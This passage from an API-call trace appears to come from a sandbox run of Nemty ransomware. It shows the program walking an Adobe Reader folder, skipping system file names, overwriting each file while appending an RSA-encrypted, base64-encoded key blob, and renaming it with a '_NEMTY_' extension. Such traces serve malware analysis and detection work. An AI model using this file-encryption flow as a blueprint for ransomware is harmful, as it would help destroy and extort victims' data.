cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.071] Sleep (dwMilliseconds=0x5) [0176.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c988450, dwHighDateTime=0x1d561e8)) [0176.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c988450, dwHighDateTime=0x1d561e8)) [0176.075] GetLastError () returned 0x0 [0176.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.075] GetLastError () returned 0x0 [0176.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.075] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.075] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Id95/XgV/O/lCXo+FrcPvnTS3kZNEvuRtTErRxi8AC65wnlRFC9qAdRD2bSINPFy\r\nH/IrHF1PlM/RKj1L3Y9SB/syhHFSfBB2RpuQEMexerakmxmxZWZwzUaBCay3GMAB\r\n6VIKHOa7wU5uArz0E3F+MC966nAWpByW4gM7A5ojvrV4h6jQXCKFr544iO/lZRna\r\nPk8xcX6StT3hmiawnr195+USxpOC0WIw57RuaUmlpVtqrpKLDnM/3GsgBWh/GgOa\r\nDMXHSCceFnDZgTzZ8LCc6xcGLzQkHhQUuOutb1YyaoCgQaUWWryF5qzmBEhL8jaB\r\njd/LMIrjYd+lHtqFm96oKA==\r\n", pcchString=0x653e5dc) returned 1 [0176.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\digsig.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.076] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=124416) returned 1 [0176.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.076] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.076] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.084] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.084] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.085] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=124416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e600 [0176.085] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.085] CloseHandle (hObject=0x2e8) returned 1 [0176.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.085] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\digsig.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\digsig.euq._nemty_kgobjgd_")) returned 1 [0176.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.086] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.EUQ", cAlternateFileName="")) returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2=".") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="..") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="...") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="windows") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="rsa") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="ntldr") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="IO.SYS") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="boot.ini") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="boot.ini") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="ntuser.dat") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="desktop.ini") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="RECYCLER") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="bootmgr") returned 1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="programdata") returned -1 [0176.086] lstrcmpiW (lpString1="DVA.EUQ", lpString2="appdata") returned 1 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.EUQ", lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.EUQ", lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.EUQ", lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.EUQ", lpUsedDefaultChar=0x0) returned 7 [0176.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.087] Sleep (dwMilliseconds=0x5) [0176.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9ae5b0, dwHighDateTime=0x1d561e8)) [0176.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9ae5b0, dwHighDateTime=0x1d561e8)) [0176.091] GetLastError () returned 0x0 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.091] GetLastError () returned 0x0 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.091] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.091] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="0Ov47ZaR36TkvwC/qve8pLsnFhzPKkCfBrO6H+peSDkUcNitYGpXcEnW/Wk8YBr7\r\nVsyiyOJ+u7y8v4iOkj7LUYQn7z9e+KUgAI0cMQCxbmTX+baNQk2/ms1JFrU2HR/A\r\nYzEBJSWGVFhPFtnt8SXA4T3KKeaJYALsXJ8acVFHJIfmUpbkhYOM8oHmlKspxXgE\r\nI/J65fBjAkIheZxF3lmKIwbRFNcxcFAvnvCEhmUzGQWOoaxUNDD+KBykCt1QqkEg\r\n0V5RhPqodMHISwZlkhiCTcdaidtQxTHOFp7wtYhpiHkPGDUa7MmWOMjVWEuo2wrc\r\nIqdau/jn/Og+TVz77jWFYQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\dva.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.092] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0176.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0176.092] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.092] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0176.095] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.095] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0176.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.095] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0176.095] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.095] CloseHandle (hObject=0x2e8) returned 1 [0176.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0176.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.095] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\dva.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\dva.euq._nemty_kgobjgd_")) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.096] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.EUQ", cAlternateFileName="")) returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2=".") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="..") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="...") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="windows") returned -1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="rsa") returned -1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="ntldr") returned -1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="IO.SYS") returned -1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="boot.ini") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="boot.ini") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="ntuser.dat") returned -1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="desktop.ini") returned 1 [0176.096] lstrcmpiW (lpString1="eBook.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.097] lstrcmpiW (lpString1="eBook.EUQ", lpString2="RECYCLER") returned -1 [0176.097] lstrcmpiW (lpString1="eBook.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.097] lstrcmpiW (lpString1="eBook.EUQ", lpString2="bootmgr") returned 1 [0176.097] lstrcmpiW (lpString1="eBook.EUQ", lpString2="programdata") returned -1 [0176.097] lstrcmpiW (lpString1="eBook.EUQ", lpString2="appdata") returned 1 [0176.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 